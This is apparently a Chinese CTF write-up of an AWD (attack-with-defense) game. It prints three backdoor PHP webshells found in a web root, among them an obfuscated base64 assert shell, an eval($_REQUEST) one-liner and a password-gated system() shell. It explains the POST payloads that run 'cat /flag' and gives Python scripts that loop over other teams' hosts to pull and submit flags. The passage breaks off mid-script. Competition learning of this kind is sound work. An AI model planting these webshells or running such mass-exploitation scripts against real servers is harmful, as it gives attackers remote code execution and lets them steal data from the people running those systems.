AWD
simple
启示:新收获,体会到了AWD的乐趣
尽管笔者还是很菜,但是事后学会写批量化脚本成功后,还是体会到了AWD的乐趣,有点意思~
准备工作:
通过WinSCP(Xshell等)连接登录后,备份/var/www/html,将此目录下的所有文件拖入D盾,发现部分漏洞。👇
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xtLfe397-1605103291707)(/temp/AWD/simple/D.jpg)]
挨个修叭
1
.config_common.php
<?php
error_reporting(0);
set_time_limit(0);
$a=base64_decode("Y"."X"."N"."z"."Z"."X"."J"."0");
$a(@${"_P"."O"."S"."T"}[520]);
?>
简单分行后,将’YXNzZXJ0’进行base64加密后得’assert’,即assert(@$_POST[520]);,意为传入一个名为520的变量,方式为POST传参,后以PHP代码的方式执行。
因此,在网站上尝试POST传参’520=system(‘cat /flag’);'后可得flag。👇
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gSr3IIc6-1605103291709)(/temp/AWD/simple/config_common.jpg)]
接下来就是批量化的过程,明确思路:
1.攻击端口
port_start=8801
port_end=8808
my_port=8802
flag=[]
token='1f208fe1a06b1d6db7ff6b7a7db3aefe'
2.获取flag
def config_common(i):
attack_url='http://XXX:'+ str(i) +'/.config_common.php'
data={"520":"system('cat /flag');"}
req=requests.post(url=attack_url,data=data)
print(req.text)
flag.append(req.text)
#print(flag)
exception(req)
3.提交flag
for i in range(port_start,port_end+1):
if(i==my_port):
continue
else:
config_common(i)
#pdd(i)
#function111(i)
#function4eff2(i)
#ciscn_notes(i)
#ciscn_config2(i)
#ciscn_include2(i)
#ciscn_url(i)
#ciscn_include(i)#冰蝎
#ciscn_config1(i)
submit_url='http://XXX:9090/'
for i in flag:
submit_flag={'flag':i,'token':token}
requests.post(url=submit_url,data=submit_flag)
time.sleep(60*5)
其中还包括异常处理的部分,可逐步完善。
2
pdd.php
<?php @eval($_REQUEST["pdsdt"]);?>
与第一题大同小异,网页命令同为’pdsdt=system(‘cat /flag’);’
贴脚本,相同部分不再赘述:
def pdd(i):
attack_url='http://XXX:'+ str(i) +'/pdd.php'
data={"pdsdt":"system('cat /flag');"}
req=requests.post(url=attack_url,data=data)
print(req.text)
flag.append(req.text)
#print(flag)
exception(req)
3
111.php
<?php
$pass=$_POST["password"];
if($pass == "4eff2c041976ea22afb7092a53188c70")
{
system($_GET["getshell"]);
readfile("/flag");
}
else
{
echo "be1c5ff7101b7791469b5df2315cf75a";
}
?>
POST传入一个名为password的变量赋值给pass,若该变量(password=>pass)==“4eff2c041976ea22afb7092a53188c70”,则系统自动返回根目录下flag的操作;若不是,则返回假的flag。
脚本如下:
def function111(i):
attack_url='http://XXX:'+ str(i) +'/uploads/.111.php'
data={"password":"4eff2c041976ea22afb7092a53188c70"}
req=requests.post(url=attack_url,data=data)
print(req.